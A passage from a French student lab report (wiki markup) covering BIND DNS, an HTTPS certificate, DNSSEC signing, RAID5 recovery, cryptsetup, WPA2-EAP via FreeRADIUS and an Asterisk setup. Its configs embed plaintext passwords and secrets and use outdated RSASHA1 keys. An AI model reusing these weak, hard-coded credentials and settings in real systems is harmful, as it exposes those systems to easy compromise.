         EAPOL HMAC    : B3 F0 FA 27 2F E6 2E A4 73 F9 55 14 C7 4A 72 E0 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VII - Services Internet &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette partie il faut réaliser un site Web sécurisé&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Serveur DNS&amp;lt;/h4&amp;gt;&lt;br /&gt;
Sur le registrar Gandi, j'ai réservé un nom DNS '''mulan.website''' sur Gandi. Ensuite il faut installer '''bind9''' sur le serveur virtuel xen  pour donner les adresses correspondant à mon nom de réseau IP, au nom de mon interface de routeur, au nom de ma machine et au nom de l'adresse de diffusion de mon réseau IP. Cependant pour régler le problème de changer l'adresse du passerelle il faut faire '''/etc/network/interfaces''' et '''/etc/resolv.conf'''&lt;br /&gt;
Dans mon répertoire''' /etc/bind''' j'ai rajouté un fichier de description de zone'''db.mulan.website''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
; TTL (Time To Live)&lt;br /&gt;
$TTL	604800&lt;br /&gt;
&lt;br /&gt;
; Informations générales&lt;br /&gt;
@	IN	SOA	ns.mulnan.website. root.mulan.website. (&lt;br /&gt;
			12		; Serial&lt;br /&gt;
			604800		; Refresh&lt;br /&gt;
			86400		; Retry&lt;br /&gt;
			2419200		; Expire&lt;br /&gt;
			604800  )	; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns6.gandi.net.&lt;br /&gt;
	IN	NS	ns.mulan.website.&lt;br /&gt;
        IN      MX      100 ns.mulan.website.&lt;br /&gt;
&lt;br /&gt;
ns	IN	A	193.48.57.164&lt;br /&gt;
www	IN	A	193.48.57.164&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Petit Rappel&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Les dernières 4 lignes sont les détails du domaine,de ses sous-domaines,etc.C'est là qu'on fait notamment l'association entre l'IP et le nom de domaine.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''named.conf.local''' il faut rajouter&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
zone &amp;quot;mulan.website&amp;quot;{&lt;br /&gt;
	type master;&lt;br /&gt;
	allow-transfer {193.48.57.170;} ;&lt;br /&gt;
	file &amp;quot;/etc/bind/db.mulan.website&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
'''Attention'''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
L'adresse dans allow-transfer doit être l'adresse du serveur esclave.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite pour tester si cela marche ou pas il faut taper les commandes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--service bind9 restart&lt;br /&gt;
--cat /var/log/daemon.log&lt;br /&gt;
--host ns.mulan.website 127.0.0.1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'obtiens &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Using domain server:&lt;br /&gt;
Name: 127.0.0.1&lt;br /&gt;
Address: 127.0.0.1#53&lt;br /&gt;
Aliases: &lt;br /&gt;
&lt;br /&gt;
ns.mulan.website has address 193.48.57.164&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Je peux conclure que nom DNS correspond bien à mon adresse IP '''193.48.57.164'''&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Sécurisation de site web par certificat &amp;lt;/h4&amp;gt;&lt;br /&gt;
Le travail a été réalisé sur '''Mulan''', il faut générer un '''CSR''' afin d'activer la '''SSL Certification'''. Pour réussir cela, il faut taper la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout mulan1.key -out mulan1.csr&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après la création des clefs et le CSR, j'ai obtenu mon certificat SSL sur Gandi. Ensuite j'ai configuré apache2 pour gérer du HTTPS sur le port 443. Pour réussir cela, j'ai crée un fichier mulan.conf.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;   &lt;br /&gt;
  ServerName mulan.website&lt;br /&gt;
  ServerAlias www.mulan.website&lt;br /&gt;
  DocumentRoot /var/www/mulan&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile &amp;quot;/etc/apache2/mulan.crt&amp;quot;&lt;br /&gt;
  SSLCertificateKeyFile &amp;quot;/etc/apache2/mulan.key&amp;quot;&lt;br /&gt;
  SSLCertificateChainFile &amp;quot;/etc/apache2/gandi.crt&amp;quot;&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerName mulan.website&lt;br /&gt;
  ServerAlias www.mulan.website&lt;br /&gt;
  DocumentRoot /var/www/mulan&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai créé une page index.html dans /var/www/mulan&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-//W3C//DTD HTML 4.0//EN&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
 &amp;lt;HEAD&amp;gt;    &lt;br /&gt;
  &amp;lt;TITLE&amp;gt;Mulan&amp;lt;/TITLE&amp;gt;&lt;br /&gt;
 &amp;lt;/HEAD&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
 &amp;lt;BODY&amp;gt;   &lt;br /&gt;
   &lt;br /&gt;
   L'une des plus belles filles du monde!&lt;br /&gt;
   &amp;lt;p style=&amp;quot;text-align:center;&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;mulan.jpg&amp;quot;/&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
    &lt;br /&gt;
     &amp;lt;/BODY&amp;gt;&lt;br /&gt;
&amp;lt;/HTML&amp;gt;   &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc le https://www.mulan.website donne&lt;br /&gt;
[[Fichier:mulan.png|thumb|center|600xp|Page principale]]&lt;br /&gt;
&amp;lt;h4&amp;gt;d) Sécurisation de serveur DNS par DNSSEC&amp;lt;/h4&amp;gt;&lt;br /&gt;
L'objectif de cette partie est de sécuriser mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Pour réussir cela, il faut certaines étapes.&lt;br /&gt;
1.Dans /etc/bind/named.conf.options,j'ai ajouté&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-enable yes;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
2.Ensuite j'ai crée un répertoire mulan.website.dnssec pour gérer tous les clefs dans /etc/bind&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mkdir mulan.website.dnssec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
3.J'ai crée la clef asymétrique de signature de clefs de zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
4.Pour créer la clef asymétrique de la zone pour signer les enregistrement, il faut&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE mulan.website&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
5.J'ai renommé les clefs dans mon répertoire mulan.website.dnssec&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/etc/bind/mulan.website.dnssec# ls -l&lt;br /&gt;
total 20&lt;br /&gt;
-rw-r--r-- 1 root bind  171 Dec  7 18:56 dsset-mulan.website.&lt;br /&gt;
-rw-r--r-- 1 root bind  609 Dec  7 18:54 mulan.website-ksk.key&lt;br /&gt;
-rw------- 1 root bind 1774 Dec  7 18:54 mulan.website-ksk.private&lt;br /&gt;
-rw-r--r-- 1 root bind  435 Dec  7 18:55 mulan.website-zsk.key&lt;br /&gt;
-rw------- 1 root bind 1010 Dec  7 18:55 mulan.website-zsk.private&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
6.Dans mon fichier /etc/bind/db.mulan.website, il faut inclure les clefs publiques et incrémenter le numéro de version de la zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$include /etc/bind/mulan.website.dnssec/mulan.website-ksk.key&lt;br /&gt;
$include /etc/bind/mulan.website.dnssec/mulan.website-zsk.key&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
7.Après il faut signer les enregistrements de la zone&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
dnssec-signzone -o mulan.website -k mulan.website-ksk ../db.mulan.website mulan.website-zsk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
8.Ensuite il faut modifier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 zone &amp;quot;mulan.website&amp;quot;{&lt;br /&gt;
	type master;&lt;br /&gt;
	allow-transfer {193.48.57.170;217.70.177.40;} ;&lt;br /&gt;
	file &amp;quot;/etc/bind/db.mulan.website.signed&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
9.La dernière étape est de rajouter la clé ksk dans gandi.net&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:gandi1.png|sécurisation par gandi&lt;br /&gt;
Fichier:gandi2.png|sécurisation par gandi&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
Pour être sur que mon DNS est bien sécurisé, j'ai visualisé sur DNSVIZ&lt;br /&gt;
[[Fichier:dnsviz.png|thumb|center|600xp|Visualisation de la sécurisation de DNS]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Partie VIII - Réalisations  &amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;a) Travail à effectuer&amp;lt;/h4&amp;gt;&lt;br /&gt;
Principal travail: Dans cette section il faut sécuriser un réseau Wifi, faire transiter des flux vidéos via UPnP et installer un auto-commutateur téléphonique logiciel.&lt;br /&gt;
&amp;lt;h4&amp;gt;b) Sécurisation de données&amp;lt;/h4&amp;gt;&lt;br /&gt;
J'ai commencé par créer trois partitions LVM de 1Go&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid1 -v&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid2 -v&lt;br /&gt;
lvcreate -L 1G -n /dev/virtual/Mulan-raid3 -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai rajouté trois lignes dans mon fichier /etc/xen/Mulan.cfg&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid1,xvdd1,w',&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid2,xvde1,w',&lt;br /&gt;
'phy:/dev/virtual/Mulan-raid3,xvdf1,w',&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour utiliser la commande mdadm, il faut d'abord installer le paquetage&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install mdadm&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut faut entrer cette commande pour charger le module MD-subsystem &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install linux-image-3.16.0-4-amd64&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après je peux créer volume /dev/md0 grâce à la commande suivante&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour visualiser la statue de kernel md&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
md0 : active raid5 xvdf1[2] xvde1[1] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite il faut mounter &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount /dev/md0 /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Sur le console, j'ai eu&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
mount: wrong fs type, bad option, bad superblock on /dev/md0,&lt;br /&gt;
       missing codepage or helper program, or other error&lt;br /&gt;
&lt;br /&gt;
       In some cases useful info is found in syslog - try&lt;br /&gt;
       dmesg | tail or so.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai crée un fichier système &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mkfs -t ext4 /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: 6148741b-9ebd-4ccc-8581-af7bbe3fea3c&lt;br /&gt;
Superblock backups stored on blocks: &lt;br /&gt;
    32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done                            &lt;br /&gt;
Writing inode tables: done                            &lt;br /&gt;
Creating journal (8192 blocks): done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après il faut le mounter&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mount /dev/md0 /mnt&lt;br /&gt;
[17819.221864] EXT4-fs (md0): mounted filesystem with ordered data mode. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 Pour afficher la valeur d'espace disque disponible des systèmes de fichier dont l'utilisateur possède l'accès en lecture, il faut une commande .df&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# df .&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
/dev/md0         2029392  3072   1905184   1% /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour montrer l'espace disque libre listé en format lisible pour l'homme, c'est-à-dire avec le Système_international_d'unités&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# df -h&lt;br /&gt;
Filesystem      Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/xvda2      3.9G  718M  3.0G  20% /&lt;br /&gt;
udev             10M     0   10M   0% /dev&lt;br /&gt;
tmpfs            50M   88K   50M   1% /run&lt;br /&gt;
tmpfs           5.0M     0  5.0M   0% /run/lock&lt;br /&gt;
tmpfs           125M     0  125M   0% /run/shm&lt;br /&gt;
/dev/xvdb1      9.8G   23M  9.2G   1% /home&lt;br /&gt;
/dev/xvdc1      9.8G  246M  9.0G   3% /var&lt;br /&gt;
/dev/md0        2.0G  3.0M  1.9G   1% /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai copié le fichier /boot/vmlinuz-3.16.0-4-amd64 .&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/mnt# cp /boot/vmlinuz-3.16.0-4-amd64 .&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai mit ma partition xvde1 en mode Faulty&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --set-faulty /dev/md0 /dev/xvde1&lt;br /&gt;
[17884.887698] md/raid:md0: Disk failure on xvde1, disabling device.&lt;br /&gt;
[17884.887698] md/raid:md0: Operation continuing on 2 devices.&lt;br /&gt;
mdadm: set /dev/xvde1 faulty in /dev/md0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour vérifier dans mon fichier&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvdf1[2] xvde1[1](F) xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai bien vu que ma partition xvde1 a changé sa mode en Faulty.&lt;br /&gt;
Pour voir comment le raid marche, j'ai fait un remove et add&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --remove /dev/md0 /dev/xvde1&lt;br /&gt;
[17940.265360] md: unbind&amp;lt;xvde1&amp;gt;&lt;br /&gt;
[17940.265378] md: export_rdev(xvde1)&lt;br /&gt;
mdadm: hot removed /dev/xvde1 from /dev/md0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# mdadm --add /dev/md0 /dev/xvde1&lt;br /&gt;
[17946.741301] md: export_rdev(xvde1)&lt;br /&gt;
[17946.774588] md: bind&amp;lt;xvde1&amp;gt;&lt;br /&gt;
mdadm: added /dev/xvde1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# [17946.799645] md: recovery of RAID array md0&lt;br /&gt;
[17946.799650] md: minimum _guaranteed_  speed: 1000 KB/sec/disk.&lt;br /&gt;
[17946.799653] md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery.&lt;br /&gt;
[17946.799658] md: using 128k window, over a total of 1047552k.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Donc dans mon fichier du système, j'ai vu la statue a été changée&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [=&amp;gt;...................]  recovery =  9.6% (101696/1047552) finish=0.4min speed=33898K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [=====&amp;gt;...............]  recovery = 29.2% (306320/1047552) finish=0.4min speed=30632K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid6] [raid5] [raid4] &lt;br /&gt;
md0 : active raid5 xvde1[3] xvdf1[2] xvdd1[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]&lt;br /&gt;
      [===========&amp;gt;.........]  recovery = 55.2% (578592/1047552) finish=0.2min speed=30452K/sec&lt;br /&gt;
      &lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Mulan:~# [17982.504053] md: md0: recovery done.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
La partition xvde1 a été bien réparé.&lt;br /&gt;
&amp;lt;h4&amp;gt;c) Cryptage de données&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour cette partie il faut créer une unique partition sur la carte SD de l'eeePC.Pour sécuriser la partition en utilisant l'unitaire crytsetup, j'ai commencé par&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# cryptsetup create card /dev/mmcblk1p1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai fait&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Saisissez la phrase secrète :&lt;br /&gt;
root@perche:/home/pifou# # la phrase est chencong&lt;br /&gt;
root@perche:/home/pifou# mkfs /dev/mapper/card&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 3777536 4k blocks and 944704 inodes&lt;br /&gt;
Filesystem UUID: 344190aa-fc4f-42a1-9241-ac9910bb11aa&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done                           &lt;br /&gt;
Writing inode tables: done                           &lt;br /&gt;
Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour monter le périphérique, j'ai fait&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# mount /dev/mapper/card /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour démonter le périphérique,il fallait taper&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# umount /mnt&lt;br /&gt;
root@perche:/home/pifou# cryptsetup remove card&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour mieux comprendre comment ca marche le cryptage de données, j'ai crée une autre partition qui s'appelle mulan dans /dev/mmcblk1p1 et puis j'ai refait toutes les étapes&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# cryptsetup create mulan /dev/mmcblk1p1&lt;br /&gt;
Saisissez la phrase secrète :&lt;br /&gt;
root@perche:/home/pifou# mount /dev/mapper/mulan /mnt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans la partition card, j'ai créer un fichier dans /mnt/coffre-fort&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# echo &amp;quot;gros secret&amp;quot; &amp;gt; /mnt/coffre-fort&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cela me permet de vérifier si je peux le retrouver après. Donc j'ai essayé de le retrouver après monter la partition mulan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@perche:/home/pifou# ls -l /mnt&lt;br /&gt;
total 20&lt;br /&gt;
-rw-r--r-- 1 root root    12 déc.   7 19:58 coffre-fort&lt;br /&gt;
drwx------ 2 root root 16384 déc.   7 19:53 lost+found&lt;br /&gt;
root@perche:/home/pifou# cat /mnt/coffre-fort&lt;br /&gt;
gros secret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;d) Sécurisation Wifi par WPA2-EAP&amp;lt;/h4&amp;gt;&lt;br /&gt;
Le but de cette partie est de contrôler l’accès à la borne Wifi par WPA2-EAP. Pour réussir cela, j'ai commencé par configuré /etc/freeraduis/eap.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
default_eap_type = mschapv2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite j'ai configuré /etc/freeraduis/users&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Mulan Cleartext-Password := &amp;quot;Chencong&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
J'ai aussi configuré /etc/freeraduis/client.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
client 10.60.1.2/24 {&lt;br /&gt;
       secret          = Mulan&lt;br /&gt;
       shortname       = rex&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois que la configuration de freeraduis était faite, j'ai configuré le point d'accès Wifi. Pour le connecter par ma machine virtuelle il fallait faire&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Mulan:/# telnet 10.60.1.6&lt;br /&gt;
Trying 10.60.1.6...&lt;br /&gt;
Connected to 10.60.1.6.&lt;br /&gt;
Escape character is '^]'.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
User Access Verification&lt;br /&gt;
&lt;br /&gt;
Username: Cisco&lt;br /&gt;
Password: &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Après j'ai ajouté les lignes comme montré sur le point d'acces Wifi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
aaa group server radius radius_mulan&lt;br /&gt;
 server 193.48.57.164 auth-port 1812 acct-port 1813&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
aaa authentication login eap_mulan group radius_mulan&lt;br /&gt;
&lt;br /&gt;
dot11 ssid Mulan&lt;br /&gt;
   vlan 5&lt;br /&gt;
   authentication open eap eap_mulan &lt;br /&gt;
   authentication network-eap eap_mulan &lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
encryption vlan 5 mode ciphers aes-ccm tkip &lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
ssid Mulan&lt;br /&gt;
 !&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.5&lt;br /&gt;
 encapsulation dot1Q 5&lt;br /&gt;
 no ip route-cache&lt;br /&gt;
 bridge-group 5&lt;br /&gt;
 bridge-group 5 subscriber-loop-control&lt;br /&gt;
 bridge-group 5 spanning-disabled&lt;br /&gt;
 bridge-group 5 block-unknown-source&lt;br /&gt;
 no bridge-group 5 source-learning&lt;br /&gt;
 no bridge-group 5 unicast-flooding&lt;br /&gt;
!&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.5&lt;br /&gt;
 encapsulation dot1Q 5&lt;br /&gt;
 bridge-group 5&lt;br /&gt;
 bridge-group 5 spanning-disabled&lt;br /&gt;
 no bridge-group 5 source-learning&lt;br /&gt;
!&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite sur eeePC il fallait aussi changer /etc/network/interfaces&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
iface wlan3 inet static&lt;br /&gt;
 address 10.60.5.10&lt;br /&gt;
 netmask 255.255.255.0&lt;br /&gt;
 gateway 10.60.5.1&lt;br /&gt;
 wpa-ssid Mulan&lt;br /&gt;
 wpa-key-mgmt WPA-EAP&lt;br /&gt;
 wpa-eap PEAP&lt;br /&gt;
 wpa-identity Mulan&lt;br /&gt;
 wpa-password Chencong&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;h4&amp;gt;e) Configuration d'un PCBX&amp;lt;/h4&amp;gt;&lt;br /&gt;
Pour réussir cette partie, il faut installer un serveur DHCP sur eeePC&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install isc-dchp-server&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut aussi installer un paquetage asterisk sur cet eeePC&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install asterisk&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour que tous les téléphones IP puissent s'y enregistrer avec comme numéro de poste des numéros à partir de 100, il faut modifier le ficher /etc/asterisk/sip.conf&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[chencong]&lt;br /&gt;
type=friend&lt;br /&gt;
context=default&lt;br /&gt;
callerid=Chen Cong &amp;lt;71000&amp;gt;&lt;br /&gt;
host=dynamic&lt;br /&gt;
directmedia=yes&lt;br /&gt;
dtmfmode=info&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
allow=alaw&lt;br /&gt;
allow=g723.1&lt;br /&gt;
allow=g729&lt;br /&gt;
secret=mulan&lt;br /&gt;
&lt;br /&gt;
[clara]&lt;br /&gt;
type=friend&lt;br /&gt;
context=default&lt;br /&gt;
